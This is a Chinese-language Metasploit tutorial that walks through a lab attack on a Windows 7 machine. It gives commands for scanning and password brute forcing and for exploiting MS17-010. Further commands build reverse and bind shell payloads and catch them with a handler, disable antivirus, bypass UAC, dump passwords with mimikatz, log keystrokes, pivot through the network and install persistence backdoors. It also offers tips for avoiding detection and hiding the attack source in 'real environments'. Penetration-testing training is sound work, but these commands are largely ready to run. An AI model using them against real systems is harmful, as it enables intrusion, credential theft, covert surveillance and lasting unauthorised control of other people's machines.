一、msf安装与更新
在服务器或者虚拟机执行(linux)
curl https://raw.githubusercontent.com/rapid7/metasploitomnibus/master/config/templates/metasploit-frameworkwrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
然后验证是否安装成功
输入msfconsole
Windows安装
点击下载 https://windows.metasploit.com/metasploitframework-latest.msi
安装
解压安装包后直接点击安装
添加环境变量
使用
打开终端输入msfconsole
直接使用
二、更新msf
在目录内运行命令
./msfupdate
运行命令
apt update
,apt install metasploit-framework
如果./msfupdate不能执行 就把 /opt/metasploit-framework/bin/msfupdate 文件里面的 --allow-downgrades 参 数给去除掉,就可以更新了。
三、msf七大模块介绍
msf有很多模块 一共有7个
命令:ls /opt/metasploit-framework/embedded/framework/modules/ -al
auxiliary 辅助模块,该模块是用于辅助渗透的,比如端口扫描、存活探测、暴力破解、扫描、发掘漏洞、探测信息等工作。
encoders 编码器模块,对payload进行编码加密,可绕过部分杀软软件,将攻击载荷进行编码(类似与加密),让避免操作系统和杀毒软件辨认出来但是会让载荷的体积变大,这个时候需要选择传输器和传输体配对成的攻击载荷来下载目标载荷并且运行。。
evasion 躲避模块,该模块分类下只有4个,都是为了躲避微软的限制或者是杀软 的,免杀效果很一般。
exploits 漏洞利用模块,这个模块通常是用于对某些有可能存在漏洞的目标进行漏洞利用,利用已发现的漏洞对远程目标系统进行攻击,植入并运行攻击载荷,从而控制目标系统。
nops 空指令模块,为了避免攻击载荷在执行的过程中出现随机地址和返回地址错误而在执行shellcode之前加入一些空指令,使得在执行shellcode时有一个较大的安全着陆区。。
payloads 攻击载荷,exploit成功之后就会执行payload,这段payload可以是反弹 代码,可以是添加用户的代码,在渗透攻击触发漏洞后劫持程序执行流程并跳入的这段代码。本模块的作用是消除安全工作人员开发这部分代码的代价。
post 后渗透模块,该模块一般用于内网渗透。
四、msf之auxiliary常用模块演示
先查看auxiliary的功能模块
Metasploit的辅助模块主要用于信息搜集阶段,功能包括扫描、口令猜解、敏感信息嗅探、FUZZ测试发掘漏洞、实施网络协议欺骗等
*auxiliary模块命名规则*
命名规则:功能/服务/模块名称
例如: scanner/discovery/arp_sweep
一、辅助模块(auxiliary)分为三个大类
1、Admin
-
Admin/HTTP模块
-
Admin/MSSQL模块
-
Admin/MySQL模块
-
Admin/Postgres模块
-
Admin/VMWare模块
2、Scanner
-
DCERPC
-
Discovery
-
FTP
-
HTTP
-
IMAP
-
MSSQL
-
MySQL
-
NetBIOS
-
POP3
-
SMB
-
SMTP
-
SNMP
-
SSH
-
Telnet
-
TFTP
-
VMWare
-
VNC
3、Server
- 捕获模块
二、Admin例子
1、查找关于mysql的辅助模块
2、选择auxiliary/admin/mysql/mysql_sql
use 1
3、查看需要设置的参数
4、设置目标主机、用户名和密码,
5、run,执行
其他的就不演示了
三、scanner例子
常用扫描模块及功能
-
auxiliary/scanner/portscan 端口扫描
auxiliary/scanner/smb/smb_version SMB系统版本扫描
auxiliary/scanner/smb/smb_enumusers SMB枚举
auxiliary/scanner/smb/smb_login SMB弱口令扫描
auxiliary/admin/smb/psexec_command SMB登录且执行命令
auxiliary/scanner/ssh/ssh_login ssh登录测试
scanner/ mssq/mssql_ping MSSQL主机信息扫描
admin/mssql/mssql_enum MSSQL枚举
admin/mssql/mssql_exec MSSQL执行命令
admin/mssql/mssql_sql MSSQL查询
scanner/mssql/mssql_login MSSQL弱口令扫描
auxiliary/admin/mysql/mysql_enum MYSQL枚举
auxiliary/admin/mysql/mysql_sql MYSQL语句执行
auxiliary/scanner/mysql/mysql_login MYSQL弱口令扫描
auxiliary/scanner/smtp/smtp_version SMTP版本扫描
auxiliary/scanner/smtp/smtp_enum SMTP枚举
auxiliary/scanner/snmp/community SNMP扫描设备
auxiliary/scanner/telnet/telnet_login TELNET登录
scanner/vnc/vnc_none_auth VNC空口令扫描 -
arp扫描
search arp
use auxiliary/scanner/discovery/arp_sweep
set interface rhost shost smac threads
run -
端口扫描
search portscan
use auxiliary/scanner/portscan/syn
set interface posts rhosts threads
run -
密码嗅探
use auxiliary/sniffer/psnuffle
支持从pcap抓包文件中提取密码
功能类似于dsniff
目前只支持pop3 imap ftp http_get协议 -
SNMP扫描
vi /etc/default/snmpd 侦听地址修改为0.0.0.0
use auxiliary/scanner/snmp_login
use auxiliary/scanner/snmp_enum
use auxiliary/scanner/snmp_enumusers (windows)
use auxiliary/scanner/snmp_enumshares (windows) -
smb
smb版本扫描
use auxiliary/scanner/smb/smb_version
扫描命名管道,判断smb服务类型(账号、密码)
use auxiliary/scanner/smb/pipe_auditor
smb共享枚举(账号、密码)
use auxiliary/scanner/smb/smb_enumshares
smb用户枚举(账号、密码)
use auxiliary/scanner/smb/smb_enumusers
sid枚举(账号、密码)
use auxiliary/scanner/smb/smb_lookupsid -
ssh
SSH版本扫描
use auxiliary/scanner/ssh/ssh_version
SSH密码爆破
use auxiliary/scanner/ssh/ssh_login
set userpass_file /usr/share/metasploit-framework/data/wordlist/root_userpass.txt
set verbose false
run
ssh -l root
ssh 192.168.0.11
ssh -l root 192.168.0.11
ssh root@192.168.0.11
ssh -p 12333 192.168.0.11
ssh -l root -p 12333 216.230.230.114
ssh -p 12333 root@216.230.230.114
SSH公钥登录
use auxiliary/scanner/ssh/ssh_login_pubkey
set key_file di_rsa
set username root
run -
mssql
Mssql扫描端口
TCP 1433 (动态端口)/UDP 1434 (查询TCP端口号)
use auxiliary/scanner/mssql_ping
爆破mssql密码
use auxiliary/scanner/mssql_login
远程代码执行
use auxiliary/admin/mssql/mssql_exec
set cmd net user pass /add -
ftp
ftp版本扫描
use auxiliary/scanner/ftp/ftp_version
use auxiliary/scanner/ftp/anonymous
use auxiliary/scanner/ftp/ftp_login -
vnc
VNC:虚拟网络控制台,是一款优秀的远程控制工具软,基于 UNIX 和 Linux 操作系统的免费的开源软件,远程控制能力强大,高效实用,其性能可以和 Windows 和 MAC 中的任何远程控制软件媲美
vnc密码破解
use auxiliary/scanner/vnc/vnc_login
vnc无密码访问
use auxiliary/scanner/vnc/vnc_none_auth -
rdp
RDP远程桌面漏洞
use auxiliary/scanner/rdp/ms12_020_check
-检查不会造成dos攻击 -
设备后门
use auxiliary/scanner/ssh/juniper_backdoor
use auxiliary/scanner/ssh/fortine_backdoor -
HTTP弱点扫描
过期证书
use auxiliary/scanner/http/cert
显示目录及文件
use auxiliary/scanner/http/dir_listing
use auxiliary/scanner/http/files_dir
WEBDAV Unicode编码身份验证绕过
IIS的WebDAV功能在解析URI并发送回数据时没有正确地处理Unicode令牌环,远程攻击者可以通过提交恶意HTTPGET请求绕过受口令保护的文件夹的认证,或在受口令保护的WebDAV目录中列出、上传或下载文件
use auxiliary/scanner/http/dir_webdav_unicode_bypass -
tomcat管理登录页面
use auxiliary/scanner/http/tomcat_mgr_login -
基于http方法的身份验证绕过
use auxiliary/scanner/http/tomcat_auth_bypass -
wordpress密码爆破
use auxiliary/scanner/http/wordpress_login_enum
set uri /wordpress/wp-login.php -
wmap web应用扫描器
https://www.cnblogs.com/kyx599/p/12936169.html -
telnet爆破
use auxiliary/scanner/telnet/telnet_login
端⼝扫描
- ACK 通过ACK扫描的方式对防火墙上未屏蔽的端口进行探测
- ACK防⽕墙扫描 auxiliary/scanner/portscan/ack
- ftpbounce 通过FTPbounce攻击的原理对TCP服务进行枚举,一些新的FTP服务器 软件能够很好的防范FTPbounce攻击,但在一些旧的Solaris及FreeBSD系统的FTP服务中 此类工具方法仍能够被利用
- FTP跳端⼝扫描 auxiliary/scanner/portscan/ftpbounce
- syn 使用发送TCP SYN标志的方式探测开放的端口
- SYN端⼝扫描 auxiliary/scanner/portscan/syn
- tcp 通过一次完整的TCP连接来判断端口是否开放,这种扫描方式最准确, 但扫描速度较慢
- TCP端⼝扫描 auxiliary/scanner/portscan/tcp
- xmas 一种更为隐秘的扫描方式,通过发送FIN,PSH,和URG标志,能够躲避 一些高级的TCP标记检测器的过滤
- TCP-XMas端⼝扫描 auxiliary/scanner/portscan/xmas
TCP端⼝扫描:auxiliary/scanner/portscan/tcp
扫描结束 192.168.1.14的开放端口
ACK防⽕墙扫描:auxiliary/scanner/portscan/ack
⽤ACK扫描会分段去发送数据包扫描,才能够绕过⼀些防火墙设备,⽽不是 Windows防火墙!Windows⾃带的防火墙是阻断⼀切进入的连接! 因为虚拟机Windwos 7是吧防火墙关闭了的,如果打开那么防火墙是会阻断 连接的! 经过测试,Windows防火墙开启,使⽤ACK是扫描不出来的!
FTP跳端⼝扫描 auxiliary/scanner/portscan/ftpbounce
这个因为环境情况 就没有演示
详细可参考:https://blog.csdn.net/asdushf/article/details/111691756
SYN端⼝扫描 auxiliary/scanner/portscan/syn
TCP 端口扫描是通过SYN数据包进行的,用于扫描目标机器的端口上是否存在程序监听,通常意义上,普通个人机器上的某个端口如果有程序监听的话,那么它一般是 系统漏洞。由于TCP是一个有连接的可靠协议,所以要使用 三次握手来建立连接, 三次握手的 报文分别是(SYN)、(ACK SYN)和(ACK)。进行 端口扫描时,首先向对方主机的某一端口发送(SYN) 报文,如果对方这一端口上有程序在监听(或者说存在漏洞),则回复(SYN ACK) 报文,否则回复(RST)报文。据此就可以判断对方端口上是否有程序在监听了,或者是否存在漏洞了。
参考:https://blog.51cto.com/ksyiwen/1336392
TCP-XMas端⼝扫描 auxiliary/scanner/portscan/xmas
常见的网络服务扫描
1.Telnet服务扫描
代码清单3-19中的扫描结果显示,IP地址为10.10.10.254的主机(即网关服务器)开放了Telnet服务,通过返回的服务旗标“Ubuntu 8.041x0ametasploitable login : ”,可以进一步确认出这台主机的操作系统版本为Ubuntu 8.04,而主机名为metasploitable。
2.SSH服务扫描
如代码清单3-20所示,使用Metasploit中的ssh_version辅助模块,很快在网络中定位了两台开放SSH服务的主机,分别是10.10.10.129(网站服务器)和10.10.10.254(网关服务器),并且显示了SSH服务软件及具体版本号。
3.Oracle数据库服务查点
4.开放代理探测与利用
在一些特殊情形的渗透测试工作中,为避免被对方的入侵检测系统跟踪,你很有可能需要隐藏自己的身份。隐藏网络身份的技术很多,比如使用代理服务器(Proxy)、VPN等,不过最简单和最常见的还是使用代理服务器。
Metasploit提供了open_proxy模块,能够让你更加方便地获取免费的HTTP代理服务器地址。获取免费开放代理之后,就可以在浏览器或者一些支持配置代理的渗透软件中配置代理,这可以在进行渗透测试时隐藏你的真实I地址。其使用方法如代码清单3-22所示。
当然,也可以从互联网上搜索一些开放的HTTP、Socks等代理服务器,然后通过代理猎手等专用工具进行验证,并在进行隐蔽性渗透测试的场景中进行使用。比开放代理更保险的隐藏攻击源方法是利用开放的或者自主架设的VPN服务,可以从公开渠道搜集到一些免费的VPN服务,也可以自己在已控制的主机上架设OpenVPN服务。使用这些VPN可以采用加密方式转发路由你的渗透测试数据包,而无需担心你的攻击发起源被跟踪到。
版本扫描
探测对方操作系统信息:use auxiliary/scanner/smb/smb_version
可以看到,操作系统是Windows 7,主机名是:FUZHONG,在GOD域内
扫描永恒之蓝ms17010 :use auxiliary/scanner/smb/smb_ms17_010
Host is likely VULNERABLE to MS17-010! 说明是存在永恒之蓝
利用:
可以先用search 搜索一下17010的漏洞利用模块
这里就随便选一个来利用了
就设置了ip 其他参数默认 然后攻击
尴尬 这里好像失败了 原来是360没关
之后重新测试
小tips:这里是set rhosts 是可以设置多个的 可以同时测试多个目标
五、msf之Exploits模块常用演示
1、显示所有渗透攻击模块
show exploits
2、查找关于smb的攻击模块
search name:smb type:exploit
3、查找路径含有smb的模块
search path:smb
用ms17010演示:exploit/windows/smb/ms17_010_psexec
可以看到弹回一个会话
其他 Exploit模块的操作也是如此 就不演示了
六、msf之Payloads模块常用演示
Payloads分类
1、singles:独立载荷,可直接植入目标系统并执行相应的程序,如:shell_bind_tcp这个payload。
2、stagers:传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入,这类载荷功能都非常相似,大致分为bind型和reverse型,bind型是需要攻击机主动连接目标端口的;而reverse型是目标机会反连接攻击机,需要提前设定好连接攻击机的ip地址和端口号。
3、stages:传输体载荷,如shell,meterpreter等。在stagers建立好稳定的连接后,攻击机将stages传输给目标机,由stagers进行相应处理,将控制权转交给stages。比如得到目标机的shell,或者meterpreter控制程序运行。这样攻击机可以在本端输入相应命令控制目标机。
显示所有可用payloads
Metasploit 生成的 Payload分为正向和反向
最常见的payload
- windows/meterpreter/bind_tcp #正向连接
- windows/meterpreter/reverse_tcp #反向连接,常用
- windows/meterpreter/reverse_http #通过监听80端口反向连接
- windows/meterpreter/reverse_https #通过监听443端口反向连接
反向payload
反向就是说目标执⾏了我们⽣成的Payload后,会主动连接我们的攻击服务 器MSF
生成木马命令:msfvenom
msfvenom详细语法
- -e, –encoder [encoder] 指定需要使用的encoder(编码器)
-a, –arch < architecture> 指定payload的目标架构
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度
-b, –bad-chars < list> 设定规避字符集,比如: & #039;\x00\xff& #039;
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 保存payload
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表
生成木马语句
-
二进制
linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf -
windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
-
mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho
-
web
php:msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo '<?php ’ | tr -d ‘\n’ > shell.php && pbpaste >> shell.php -
asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
-
jap:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
-
war:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
-
脚本
python:msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py -
bash:msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
-
perl:msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
-
基于pdf的shellcode
use exploit/windows/fileformat/adobe_utilprintf
msf5 exploit(adobe_utilprintf)>set FILENAME BestComputers-UpgradeInstructions.pdfset -
PAYLOAD windows/meterpreter/reverse_tcp
其他的就自己填就好了
LHOST 填写的是攻击机器,也就是Kali的IP LPORT 填写的是端口,一般填写的是高端口,如:6666、4444、8977等等,但是 最好填写一下比较常用的端口,如:80、443、8080等等
生成shell.exe: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=5555 -f exe > shell2.exe
此时在当前⽬录下有⼀个shell2.exe! 因为在前面说了,这是反向连接,那么就需要先在攻击机器上监听,然 后再然后⾁鸡运⾏我们的文件才可以连接!
监听模块:use exploit/multi/handler
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp //这个就是和上面msfvenom使用 的payload是一样的
set LHOST 192.168.1.10
set LPORT 5555
run
接着我们放到Windows7下去执⾏这个⼆进制文件:
最后,来看看Metasploit这边的监听情况:
可以看到,Windows7运⾏了刚刚msfvenom⽣成的shell.exe后, Metasploit这边反弹了⼀个meterpreter会话过来!
这个就是这么⼀个Windows的反向cmdshell 因为刚刚我们所反弹回来了⼀个shell,假设我们要重新监听其他的 payload,那么就可以使⽤background来返回msfconsole控制台窗⼝:
如果想查看当前连接的session,就可以使⽤sessions查看在后台有哪些连接 了MSF:
如果想进入刚才那个meterperter,那么就sessions后⾯跟他的⼀个id:
这样就进入了刚刚那个cmdshell⾥!
正向payload
- 使⽤场景
场景还是得具体看,⽐如⽬标机器不给其他除特定端⼝外的端⼝出站,那就 只能能正向;还有⽐如有⼀种情 况,⽬标处于深层⽹络,不能直接连通外⽹,也不能通过其他机器连通,因 为其他机器防⽕墙都开着,为避免 在有防⽕墙监控的情况下关闭防⽕墙⽽被发现,也只能⽤正向的⻢,然后通 过开着防⽕墙的机器来进⾏端⼝的 转发达到穿透的⽬的
msfvenom⽣成正向Paylaod
msfvenom -p windows/meterpreter/bind_tcp LPORT=<Attack Port> -f exe >/root/bind_xx.exe
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=<Attack Port> -f exe >/root/bind_xx.exe
msfvenom -p windows/meterpreter/bind_tcp LPORT=<Attack Port> -f dll >/root/bind_xx.dll
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=<Attack Port> -f dll >/root/bind_xx.dll
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=<Attack Port> -f elf >/root/bind_xx.elf
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=<Attack Port> -f elf >/root/bind_xx.elf
因为我win7虚拟机是x64位系统,我就⽤这条命令:
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5555 -f exe >bind.exe
在虚拟机上运⾏:bind.exe:
可以看到,已经开放了5555端⼝!
接下来打开msfconsole对虚拟机进⾏连接(前提是对⽅防火墙是关闭了的):
其中LPORT需要设置为刚刚我们⽣成的Payload⼀样的端⼝,也就是5555: 还要设置⼀个RHOST,也就是⾁鸡Win7的IP:192.168.1.14
最后直接运⾏exoloit
这个时候就反弹回来了⼀个Meterpreter会话回来!
同时,⾁鸡win7那边就没有对5555端⼝进⾏连接了!
因为⽤了5555端⼝启⽤监听后,只会接收⼀次数据,⽆论成功或者失败,它 都不会再监听了! 也就是说,如果连接失败了,那么就再运⾏然后再连接⼀次!
这是Metasploit⽣成正向的过程!
尽量不要⽣成exe
在真实环境中,如果使⽤msfvenom⽣成了⼀个正向Paylaod格式是exe,那 么在进程中就会暴露!
⼀般⽤就⽤dll!
要运⾏dll必须使⽤rundll32.exe来start:
rundll32.exe文件在C:\Windows\System32\rundll32.exe:
使用方法就是 rundll32.exe xxx.dll,Start
生成一个dll
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -f dll >bind.dll
⽽Meterpreter这边也是反弹了⼀个shell回来
这就是正向连接
七、msf之Post模块常用演示
后渗透操作
在获取到一枚Meterpreter的shell之后,就可以进行下一步的渗透,
那msf中的post模块就是⼀个后渗透模块,⾥⾯包含各种后渗透中有可能⽤到的功能,最多的就 是信息收集。
search post
这边就模拟⼀下拿到cmdshell后的操作:
可以看到,我这边sessions是有⼀个meterpreter会话:
在后渗透的时候,我们可以使⽤post模块辅助我们
1、获取目标分区情况
run post/windows/gather/forensics/enum_drives
2、检测是否是虚拟主机
run post/windows/gather/checkvm
3、获取当前安装的应用程序
run post/windows/gather/enum_applications
4、获取用户登录信息
run post/windows/gather/enum_logged_on_users
5、收集系统环境信息
run post/multi/gather/env
6、查看开启的服务
run post/windows/gather/enum_services
7、查看目标主机最近的操作
run post/windows/gather/dumplinks
8、其他操作
删除用户
run post/wndows/manage/delete_user username=aiyou
添加账户
run post/windows/manage/enable_rdp USERNAME=aiyou PASSWORD=aiyou
关闭杀软
windows/manage/killav
9、查看目标机安装了哪些应用、补丁
run post/windows/gather/enum_applications
10、对目标进行漏洞扫描(提权操作)
run post/multi/recon/local_exploit_suggester
执行之后给了我们很多exploit
我们就随便挑几个
exploit/windows/local/ms16_014_wmi_recv_notif
这个提权成功
hashdump
hashdump是查询密码hash: 因为有时候你得搜集密码来进⾏爆破别的⽤户
信息收集:
- run post/windows/gather/checkvm #是否虚拟机
- run post/linux/gather/checkvm #是否虚拟机
- run post/windows/gather/forensics/enum_drives #查看分区
- run post/windows/gather/enum_applications #获取安装软件信息
- run post/windows/gather/dumplinks #获取最近的文件操作
- run post/windows/gather/enum_ie #获取IE缓存
- run post/windows/gather/enum_chrome #获取Chrome缓存
- run post/windows/gather/enum_patches #补丁信息
- run post/windows/gather/enum_domain #查找域控
八、msf之windows提权_UAC绕过
什么是UAC
用户帐户控制(简称UAC)是微软公司在其Windows Vista,及更新版本操作系统中采用 的一种控制机制。通过 本文你将了解它是如何保护你免受恶意软件侵害的,以及忽略UAC 提示将可能给你系统带来的麻烦。
原理
界面操作是:通过询问用户是否授权给应用程序,使用硬盘驱动器和系统文件的权力。以达到阻止恶意程序(“恶意软件”)损坏系统的效果。
内部逻辑是:
在触发 UAC 时,操作系统会创建一个consent.exe进程,用来确定是否创建具有管理员权限的进程(通过白名单和用户选择判断),然后creat process。请求进程将要请求的进程cmdline和进程路径,通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名,以及,发起者的权限,是否符合要求,然后决定是否弹出UAC框,让用户确认。这个UAC框会创建新的安全桌面,遮挡之前的界面。同时这个UAC框进程是SYSTEM账户的进程,其他标准用户进程无法与其通信交互。用户确认之后,会调用CreateProcessAsUser函数,以管理员权限启动请求的进程。
所以,病毒木马想要实现高权限操作,就不得不绕过UAC弹窗,在没有通知用户情况下, 悄悄地将普通权限,提升为管理员权限启动进程,从而使程序得到高权限的操作。
UAC实例
可以看到,我sessions有4个,我先进入到⼀个不是系统权限的session:
hashdunm失败,这就是权限问题,我们没有⽤管理员权限运⾏!
我们来到虚拟机这⾥,右键以管理员权限运⾏就会弹出这个:
⽽这个就是UAC! ⽽如果我们⽤了管理员权限运⾏,这个时候就可以hashdump了:
有的你运⾏⼀个软件它会弹出⼀个框框问你是否要运⾏:
如果你点击确认/是的话,那么你就过了UAC的权限!这个时候就可以进⾏⼀个真正的管理员权限 的操作!
UAC是如何运作的
⼀旦程序执⾏涉及系统更改/特定任务就会触发UAC。除非尝试执⾏他们的进程以管理员权限运 行,否则这些操作都将被阻⽌。
没有管理员权限将无法执⾏以下操作: 注册表修改(如果注册表项位于如HKEY_LOCAL_MACHINE下(因为它影响多个用户),它 将是只读的) 加载设备驱动程序 DLL注入 修改系统时间(clock) 修改⽤户帐户控制设置(通过注册表可以启用/禁用它,但你需要正确的权限才能执行该操 作) 修改受保护的目录(例如Windows文件夹,Program Files) 计划任务(例如,以管理员权限自启动)
Bypass-UAC
有的时候我们没有办法以管理员⾝份来运⾏我们的程序,只能以普通⽤户的权限来运⾏,这个时 候怎么来绕过UAC来⽤管理员权限运⾏呢?
绕过 UAC的方法:
- 白名单提权机制;
DLL 劫持;
Windows 自身漏洞提权;
远程注入;
COM 接口技术。
计划任务 - 路径欺骗。
其余的如通过计划任务、路径欺骗等方式不算入绕过,因为经过了用户确认。
实现Bypass UAC的方法主要有两种方法:一种是利用白名单提权机制,另一种是利用COM组件接口技术。
这里就演示msf里面的bypassuac模块 (现在这些应该是作用不大了)
其他挨到参考:https://blog.csdn.net/panjunnn/article/details/106964291
https://www.cnblogs.com/Yang34/p/12632599.html
search bypassuac
我是先把meterpreter会话放到后台,然后使⽤这个模块:
exploit/windows/local/bypassuac
这边已经运⾏成功了!但是我的虚拟机是x64位的,⽽这个bypassuac是x86,所以不能成功执⾏ hashdump:
但是可以执⾏创建或者删除⽤户:
如果⽬标虚拟机是x86的话,就可以执⾏hashdump以及net user创建或者删除⽤户的
九、msf之系统明文密码和HASH
这边是绕过 UAC 得到了一个 meterpreter :
Dump 用户的明文密码 加载 mimikatz : load mimikatz mimikatz : 是一个抓取/读取系统密码的工具
新版msf 抓取密码
meterpreter > load kiwi
meterpreter > kiwi_cmd privilege::debug
meterpreter > kiwi_cmd sekurlsa::logonPasswords
十、msf之进程迁移
正常使用 exe 上线的情况下,会在任务管理器或者使用 tasklist 命令就可以看到我们 的进程,那么就很容易被发现 所以我们就用把我们的进程迁移到其他原有的进程上面,相当于寄生在别的正常的进程上 面
手动迁移
列出所有的进程 ps
查看当前进程 : getpid
以进程名迁移: 迁移到:explorer.exe
迁移进程成功,我们 ps 查看进程 这个时候就会发现原有的 :C:\Users\admin\Desktop\8080.exe 这个进程就没有了
以 PID 迁移:
假如要迁移到这个 spoolsv.exe ,他的 PID 是 1128 migrate -P 1128
这边的话是迁移失败,原因是权限的问题,因为我运行我的木马exe是没有过UAC的,所以 权限比较小; 而 spoolsv.exe 这个进程是一个系统的权限进程,所以导致迁移进程失败 总结:高权限可以往低权限下迁移进程,低权限不能往高权限上进行迁移!
我这边重新以 UAC 运行木马
再次迁移进程到 : spoolsv.exe PID 1128
migrate -P 1128
这个时候就迁移进程成功了
meterpreter > getpid
Current pid: 1128
上线自动迁移
迁移到指定进程 set autorunscript migrate -n explorer.exe
生成一个进程,并迁移到它里面 set AytoRunScript migrate -f
这边 run 之前,需要设置一下上线后自动迁移到那个进程
set autorunscript migrate -n explorer.exe
然后 exploit 运行到后台 : exploit -j -z
成功迁移进程!
自动迁移随机进程 set AytoRunScript migrate -f
迁移成功!
十一、msf之键盘记录、屏幕截图、文件操作、load扩展等
键盘记录
先是获取到了一个Meterpreter,他有这些功能
keyscan_start开启键盘监听后,再用keyscan_dump进行记录的导出,如果不想监听了才keyscan_stop。而不是先keyscan_stop再keyscan_dump
keyscan_start 启动键盘记录监听
目标机器输入东西的话,就可以获取到键盘记录 keyscan_dump
成功获取到键盘记录!
< Left Windows >< CR > 是回车键
keyboard_send 输入东西到目标机器上
假设目标机器上有鼠标指针,那么说明可以输入内容,那我们就可以使用 keyboard_send 来输入东西到目标主机上
目标目前是空的:
这个时候,目标的记事本里就多出了一些内容,就是我们刚刚输入的 hacker_hhhhh
参考:https://www.fujieace.com/metasploit/keylogging.html
https://blog.csdn.net/nzjdsds/article/details/102767480
屏幕截图
screenshot 截屏当前目标桌面情况
文件操作
操作文件系统
1.文件的基本操作
ls:列出当前路径下的所有文件和文件夹。
pwd 或 getwd:查看当前路径。
search:搜索文件,使用search -h查看帮助。
cat:查看文件内容,比如cat test.txt。
edit:编辑或者创建文件。和Linux系统的vm命令类似,同样适用于目标系统是windows的情况。
rm:删除文件。
cd:切换路径。
mkdir:创建文件夹。
rmdir:删除文件夹。
getlwd 或 lpwd:查看自己系统的当前路径。
lcd:切换自己当前系统的目录。
lls:显示自己当前系统的所有文件和文件夹。
getwd 查看目标当前目录
2.文件的上传和下载
(1) upload
格式:upload本地文件路径目标文件路径
(2)download
格式:download 目标文件路径 本地文件路径
load扩展
load 可以加载这些:load -l
其实还可以加载 python 等等
load python 加载 python
加载扩展后,我们可以使用基本的Python函数,例如print。这可以通过使用 python_execute命令和标准Python语法来实现。
还可以保存到变量,并使用-r开关打印其内容。
运行 python 文件 : python_import -f /root/liuwx.py
这个好处是,无需对方系统有 python 环境,就可以运行python脚本~ 当然,也可以上传很多扩展,比如 powershell 等等
系统其它操作
1.关闭防病毒软件
run killav
run post/windows/manage/killav
2.操作远程桌面
run post/windows/manage/enable_rdp开启远程桌面
run post/windows/manage/enable_rdp username=test password=test添加远程桌面的用户(同时也会将该用户添加到管理员组)
3.截屏
screenshot
4.键盘记录
keyscan_start:开启键盘记录功能
keyscan_dump:显示捕捉到的键盘记录信息
keyscan_stop:停止键盘记录功能
5.执行程序
execute -h 查看使用方法
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:跟进程进行交互
-m:从内存中执行
-t:使用当前伪造的线程令牌运行进程
-s:在给定会话中执行进程
例:execute -f c:/temp/hello.exe
端口转发和内网代理
1.portfwd
portfwd是meterpreter提供的端口转发功能,在meterpreter下使用portfwd -h命令查看该命令的参数。
常用参数:
-l:本地监听端口
-r:内网目标的ip
-p:内网目标的端口
上面命令执行之后,会将10.1.1.3的3389端口转发到本地的2222端口。
2.pivot
pivot是msf最常用的代理,可以让我们使用msf提供的扫描模块对内网进行探测。
(1)首先需要在msf的操作界面下添加一个路由表。
添加命令:route add 内网ip 子网掩码 session的id
打印命令:route print
路由添加成功之后就可以在msf里访问10.1.1.0/24这个网段。
(2)建立socks代理。
如果其它程序需要访问这个内网环境,就可以建立socks代理。
msf提供了3个模块用来做socks代理。
auxiliary/server/socks4a
use auxiliary/server/socks5
use auxiliary/server/socks_unc
以auxiliary/server/socks4a为例,查看需要设置的参数。
一共两个参数:
SRVHOST:监听的ip地址,默认为0.0.0.0,一般不需要更改。
SRVPORT:监听的端口,默认为1080。
直接运行run命令,就可以成功创建一个socks4代理隧道,在linux上可以配置proxychains使用,在windows可以配置Proxifier进行使用。
后门
Meterpreter的shell运行在内存中,目标重启就会失效,如果管理员给系统打上补丁,那么就没办法再次使用exploit获取权限,所以需要持久的后门对目标进行控制。
Msf提供了两种后门,一种是metsvc(通过服务启动),一种是persistence(支持多种方式启动)。
1.metsvc
(1) 使用run metsvc -h查看帮助,一共有三个参数。
-A:安装后门后,自动启动exploit/multi/handler模块连接后门
-h:查看帮助
-r:删除后门
(2) 安装后门
命令:run metsvc
命令运行成功后会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。
同时会新建一个服务,显示名称为Meterpreter,服务名称为metsvc,启动类型为”自动”,绑定在31337端口。
(3) 连接后门
使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337。
2.persistence
(1) 使用run persistence -h查看参数。
-A:安装后门后,自动启动exploit/multi/handler模块连接后门
-L:自启动脚本的路径,默认为%TEMP%
-P:需要使用的payload,默认为windows/meterpreter/reverse_tcp
-S:作为一个服务在系统启动时运行(需要SYSTEM权限)
-T:要使用的备用可执行模板
-U:用户登陆时运行
-X:系统启动时运行
-i:后门每隔多少秒尝试连接服务端
-p:服务端监听的端口
-r:服务端ip
(2) 生成后门
命令:run persistence -X -i 10 -r 192.168.1.9 -p 4444
(3) 连接后门
